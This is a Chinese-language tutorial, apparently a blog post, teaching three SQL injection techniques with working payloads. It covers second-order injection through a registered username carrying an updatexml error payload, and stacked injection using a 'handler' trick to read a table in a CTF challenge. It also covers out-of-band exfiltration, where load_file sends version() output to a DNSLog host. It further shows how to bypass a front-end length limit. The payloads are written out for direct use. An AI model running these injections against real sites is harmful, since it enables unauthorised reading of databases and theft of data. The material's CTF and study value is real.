二次注入
概念:就是我们注入的语句(刚注入时 不会产生影响)但是我们的恶意代码会进入数据库 他在被二次利用的时候就会进行执行 这个就是二次注入
这个的典型案例就是账号密码的修改 : 大家应该也知道 账号注册一般是禁止你使用恶意符号的是吧,那为什么呀?(文末有所用的源码和工具)
就是我们如果把账号 设置为 a' updatexml(1,concat(0x7e,database(),1) #
密码是123456
我们第一次登录 数据库执行 : insert into admin(username,password) values( ' a' updatexml(1,concat(0x7e,database),1) # ' ,'123456') 那这样不直接就执行了吗?
其实我上一个文章 说到了一个就我们注入的时候 ' ' 被改为了 \'\' 这个符号 这个就是转义字符
实际上我们的输入会被一个转义字符函数 或者php魔术方法
转义之后就成了
insert into admin(username,password) values( ' a\' updatexml(1,concat(0x7e,database),1) \# ' ,'123456')
那这样还执行个毛啊
但是这个被保存到数据库之后 就会变为原样
演示:
我这边的数据库 是什么也没有的 那我们执行上边的语句看看什么情况
执行: 没有执行但是插入到数据库了
当我们修改密码的时候那直接遭殃了 修改密码 有两个形式 : 1、知道密码的修改 2、忘记密码的修改 第二个在这就不会形成二次注入
1修改密码的语句 : update users set password='新密码' where username='a' updatexml(1,concat(0x7e,database),1) #' 注入上了呀 是吧
演示一下
我们输入的时候发现 什么情况账号输不进去啊 ? 这个就是长度的限制 我们看看是前端的限制还是后端的
直接 F12 进行查看 一看是前端的限制 那我们直接改掉就行了
接着玩
修改密码 这边我们没执行sql语句啊 就是新旧密码的更改
执行一下 会直接返回我们的数据库名
这个的危害还是很大的 但是需要的条件 1、转义字符函数(为了把恶意代码植入到数据库中) 2、不会对我们的账号进行特殊符号的限制
堆叠注入
这个比 or1=1 还简单 就是我们看一下
我们在数据内连接执行了两个数据库的语句 我们去网站上试一试 那你看好了
创建了一个库
那这是什么情况啊? 其实就是我们修改了一下
multi 就支持我们进行多个语句的执行 这个就是这个漏洞的条件 (但是说实话这个的作用不大 因为谁你妹的会开开这个?找干?)
演示一个例题
这个就是堆叠注入
看一下源码 他说 Sqlmap没有灵魂那我就手工注入了
直接 ';show databases; # 注入得到 数据库名
得到这个表 Select * from 上边那一串数字
想一想怎么绕过 这里我想的是直接全部 url 编码试一下能不能绕过 发现还是被 挡住了
那就只能上绝活了 这里 不让我们使用 select 那我们使用个别的 这个handler的作用和mysql 的select
1';handler `1919810931114514` open;handler `1919810931114514` read next;handler `1919810931114514` close;#
这里有个注意点就是 我们的这个 表名字 必须使用 ` ` 包裹呀 为什么使用反引号 呀 如果我们使用单引号 就会直接给我们当字符串处理了 详细的请看这个大佬的文章
sql注入前置知识(information_schema数据库,预处理,反引号和单引号的区别与用法)_schema+表名的反引号sql-CSDN博客
数据回显的外带
下边这个很牛 x解决不回显,反向连接,SQL注入,命令执行,SSRF 但是限制条件就是
secure_file_priv=''
我们的带外 语句就是 and load_file(concat('//','version()','.3c2hay.dnslog.cn//1.txt'))
这个3c2hay.dnslog.cn 是我们的带外网站 DNSLog Platform
解释: load_file 表示进行文件的读取 这个1.txt 可以随便写 // 两个这个是防止转义符的
version() 是执行的语句 那有人问 '//' 这你妹的是什么意思啊? 这个是我们访问网站的一个前缀
试一下
接受数据
总结
以上三个方法 二次注入 :1、需要有转义符
2、堆叠注入 条件:需要开启 mutil 多sql语句执行
3、带外 需要 secure_file_priv='' 服务